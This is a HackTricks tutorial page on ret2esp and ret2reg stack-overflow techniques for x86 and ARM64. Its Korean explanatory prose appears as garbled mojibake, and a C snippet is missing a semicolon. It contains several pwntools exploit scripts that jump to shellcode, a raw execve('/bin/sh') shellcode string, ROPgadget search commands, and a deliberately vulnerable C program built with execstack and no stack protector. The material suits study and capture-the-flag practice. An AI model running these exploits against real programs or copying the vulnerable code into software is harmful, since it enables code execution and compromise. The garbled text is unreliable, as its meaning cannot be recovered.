Ret2esp / Ret2reg
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Ret2esp
ESP(์คํ ํฌ์ธํฐ)๊ฐ ํญ์ ์คํ์ ๋งจ ์๋ฅผ ๊ฐ๋ฆฌํค๊ธฐ ๋๋ฌธ์, ์ด ๊ธฐ์ ์ EIP(๋ช
๋ น ํฌ์ธํฐ)๋ฅผ jmp esp ๋๋ call esp ๋ช
๋ น์ ์ฃผ์๋ก ๊ต์ฒดํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ์
ธ์ฝ๋๊ฐ ๋ฎ์ด์ด EIP ๋ฐ๋ก ๋ค์ ๋ฐฐ์น๋ฉ๋๋ค. ret ๋ช
๋ น์ด ์คํ๋๋ฉด ESP๋ ๋ค์ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๋ฉฐ, ์ ํํ ์
ธ์ฝ๋๊ฐ ์ ์ฅ๋ ์์น์
๋๋ค.
**์ฃผ์ ๊ณต๊ฐ ๋ฐฐ์น ๋ฌด์์ํ(ASLR)**๊ฐ Windows ๋๋ Linux์์ ํ์ฑํ๋์ง ์์ ๊ฒฝ์ฐ, ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ๋ฐ๊ฒฌ๋ jmp esp ๋๋ call esp ๋ช
๋ น์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ASLR๊ฐ ํ์ฑํ๋ ๊ฒฝ์ฐ, ์ด๋ฌํ ๋ช
๋ น์ ์ฐพ๊ธฐ ์ํด ์ทจ์ฝํ ํ๋ก๊ทธ๋จ ์์ฒด๋ฅผ ์ดํด๋ด์ผ ํ ์๋ ์์ต๋๋ค(๊ทธ๋ฆฌ๊ณ PIE๋ฅผ ๋ฌด๋ ฅํํด์ผ ํ ์๋ ์์ต๋๋ค).
๊ฒ๋ค๊ฐ EIP ์์ ์ดํ์ ์
ธ์ฝ๋๋ฅผ ๋ฐฐ์นํ ์ ์๋ ๊ฒ์, ์คํ์ ์ค๊ฐ์ด ์๋, ํจ์์ ์๋ ์ค์ ์คํ๋๋ push ๋๋ pop ๋ช
๋ น์ด ์
ธ์ฝ๋์ ๊ฐ์ญํ์ง ์๋๋ก ๋ณด์ฅํฉ๋๋ค. ์
ธ์ฝ๋๊ฐ ํจ์์ ์คํ ์ค๊ฐ์ ๋ฐฐ์น๋์๋ค๋ฉด ์ด๋ฌํ ๊ฐ์ญ์ด ๋ฐ์ํ ์ ์์ต๋๋ค.
๊ณต๊ฐ ๋ถ์กฑ
RIP๋ฅผ ๋ฎ์ด์ด ํ์ ์ธ ๊ณต๊ฐ์ด ๋ถ์กฑํ ๊ฒฝ์ฐ(์๋ง๋ ๋ช ๋ฐ์ดํธ ์ ๋), ์ด๊ธฐ jmp ์
ธ์ฝ๋๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํ์ญ์์ค:
sub rsp, 0x30
jmp rsp
์คํ์ ์ด๊ธฐ์ ์์ฝ๋๋ฅผ ์์ฑํ์ธ์.
์์
์ด ๊ธฐ์ ์ ์์๋ https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp์์ ์ฐพ์ ์ ์์ผ๋ฉฐ, ์ต์ข ์ต์คํ๋ก์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
์ด ๊ธฐ์ ์ ๋ ๋ค๋ฅธ ์๋ https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html์์ ๋ณผ ์ ์์ต๋๋ค. NX๊ฐ ํ์ฑํ๋์ง ์์ ์ํ์์ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ๋ฉฐ, $esp์ ์ฃผ์๋ฅผ ์ค์ด๊ธฐ ์ํด ๊ฐ์ ฏ์ด ์ฌ์ฉ๋๊ณ , ๊ทธ ๋ค์ jmp esp;๋ฅผ ์ฌ์ฉํ์ฌ ์
ธ์ฝ๋๋ก ์ ํํฉ๋๋ค:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
์ ์ฌํ๊ฒ, ํจ์๊ฐ ์์ฝ๋๊ฐ ์ ์ฅ๋ ์ฃผ์๋ฅผ ๋ฐํํ๋ ๊ฒฝ์ฐ, call eax ๋๋ jmp eax ๋ช
๋ น์ด(์ผ๋ช
ret2eax ๊ธฐ๋ฒ)๋ฅผ ํ์ฉํ์ฌ ์์ฝ๋๋ฅผ ์คํํ ์ ์๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์ ๊ณตํฉ๋๋ค. eax์ ๋ง์ฐฌ๊ฐ์ง๋ก, ํฅ๋ฏธ๋ก์ด ์ฃผ์๋ฅผ ํฌํจํ๋ ๋ค๋ฅธ ๋ ์ง์คํฐ๋ ์ฌ์ฉํ ์ ์์ต๋๋ค (ret2reg).
์์
์ฌ๊ธฐ ๋ช ๊ฐ์ง ์์๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
- **
strcpy**๋ ์์ฝ๋๊ฐ ์ ์ฅ๋ ๋ฒํผ์ ์ฃผ์๋ฅผ **eax**์ ์ ์ฅํ๊ณ **eax**๋ ๋ฎ์ด์ฐ์ด์ง ์์ผ๋ฏ๋กret2eax๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
ARM64
Ret2sp
ARM64์์๋ SP ๋ ์ง์คํฐ๋ก ์ ํํ๋ ๋ช ๋ น์ด๊ฐ ์์ต๋๋ค. SP๋ฅผ ๋ ์ง์คํฐ๋ก ์ด๋ํ ๋ค์ ํด๋น ๋ ์ง์คํฐ๋ก ์ ํํ๋ ๊ฐ์ ฏ์ ์ฐพ๋ ๊ฒ์ด ๊ฐ๋ฅํ ์ ์์ง๋ง, ์ ์นผ๋ฆฌ์ libc์์๋ ๊ทธ๋ฐ ๊ฐ์ ฏ์ ์ฐพ์ ์ ์์์ต๋๋ค:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
๋ด๊ฐ ๋ฐ๊ฒฌํ ์ ์ผํ ๋ฐฉ๋ฒ์ sp๊ฐ ์ ํํ๊ธฐ ์ ์ ๋ณต์ฌ๋ ๋ ์ง์คํธ๋ฆฌ์ ๊ฐ์ ๋ณ๊ฒฝํ๋ ๊ฒ์ด์๋ค(๊ทธ๋์ ๊ทธ๊ฒ์ ์ธ๋ชจ์๊ฒ ๋๋ค):
.png)
Ret2reg
๋ ์ง์คํธ๋ฆฌ์ ํฅ๋ฏธ๋ก์ด ์ฃผ์๊ฐ ์๋ค๋ฉด ์ ์ ํ ๋ช ๋ น์ด๋ฅผ ์ฐพ์์ ๊ทธ ์ฃผ์๋ก ์ ํํ ์ ์๋ค. ๋ค์๊ณผ ๊ฐ์ ๊ฒ์ ์ฌ์ฉํ ์ ์๋ค:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
ARM64์์๋ **x0**๊ฐ ํจ์์ ๋ฐํ ๊ฐ์ ์ ์ฅํ๋ฏ๋ก, x0๊ฐ ์ฌ์ฉ์๊ฐ ์ ์ดํ๋ ๋ฒํผ์ ์ฃผ์๋ฅผ ์ ์ฅํ๊ณ ์์ ์ ์์ผ๋ฉฐ, ์ด ๋ฒํผ์๋ ์คํํ ์์ฝ๋๊ฐ ํฌํจ๋์ด ์์ ์ ์์ต๋๋ค.
์์ ์ฝ๋:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
ํจ์์ ๋์ค์ด์
๋ธ๋ฆฌ๋ฅผ ํ์ธํ๋ฉด ๋ฒํผ์ ๋ํ ์ฃผ์(bof์ ์ทจ์ฝํ๊ณ ์ฌ์ฉ์์ ์ํด ์ ์ด๋จ)๊ฐ x0์ ์ ์ฅ๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค. ๋ฒํผ ์ค๋ฒํ๋ก์ฐ์์ ๋ฐํํ๊ธฐ ์ ์:
.png)
๋ํ do_stuff ํจ์์์ br x0 ๊ฐ์ ฏ์ ์ฐพ์ ์ ์์ต๋๋ค:
.png)
์ด์ง ํ์ผ์ด PIE ์์ด ์ปดํ์ผ๋์๊ธฐ ๋๋ฌธ์ ํด๋น ๊ฐ์ ฏ์ ์ ํํ๋ ๋ฐ ์ฌ์ฉํ ๊ฒ์ ๋๋ค. ํจํด์ ์ฌ์ฉํ์ฌ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ์ ์คํ์ ์ด 80์์ ํ์ธํ ์ ์์ผ๋ฏ๋ก ์ต์คํ๋ก์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
Warning
๋ง์ฝ
fgets๋์ **read**์ ๊ฐ์ ๊ฒ์ ์ฌ์ฉํ๋ค๋ฉด, ๋ฆฌํด ์ฃผ์์ ๋ง์ง๋ง 2 ๋ฐ์ดํธ๋ง ๋ฎ์ด์ฐ๋ ๊ฒ์ผ๋กbr x0;๋ช ๋ น์ด๋ก ๋์๊ฐ ์ ์์์ ๊ฒ์ ๋๋ค. ์ ์ฒด ์ฃผ์๋ฅผ ์ ํ์๊ฐ ์์์ต๋๋ค.fgets๋ฅผ ์ฌ์ฉํ๋ฉด ๋์ null (0x00) ๋ฐ์ดํธ๊ฐ ์ถ๊ฐ๋๊ธฐ ๋๋ฌธ์ ์๋ํ์ง ์์ต๋๋ค.
Protections
- NX: ์คํ์ด ์คํ ๊ฐ๋ฅํ์ง ์๋ค๋ฉด, ์คํ์ ์์ฝ๋๋ฅผ ๋ฐฐ์นํ๊ณ ์ด๋ฅผ ์คํํ๊ธฐ ์ํด ์ ํํด์ผ ํ๋ฏ๋ก ๋์์ด ๋์ง ์์ต๋๋ค.
- ASLR & PIE: ์ด๋ฌํ ๊ฒ๋ค์ esp ๋๋ ๋ค๋ฅธ ๋ ์ง์คํฐ๋ก ์ ํํ ์ ์๋ ๋ช ๋ น์ด๋ฅผ ์ฐพ๊ธฐ ์ด๋ ต๊ฒ ๋ง๋ค ์ ์์ต๋๋ค.
References
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


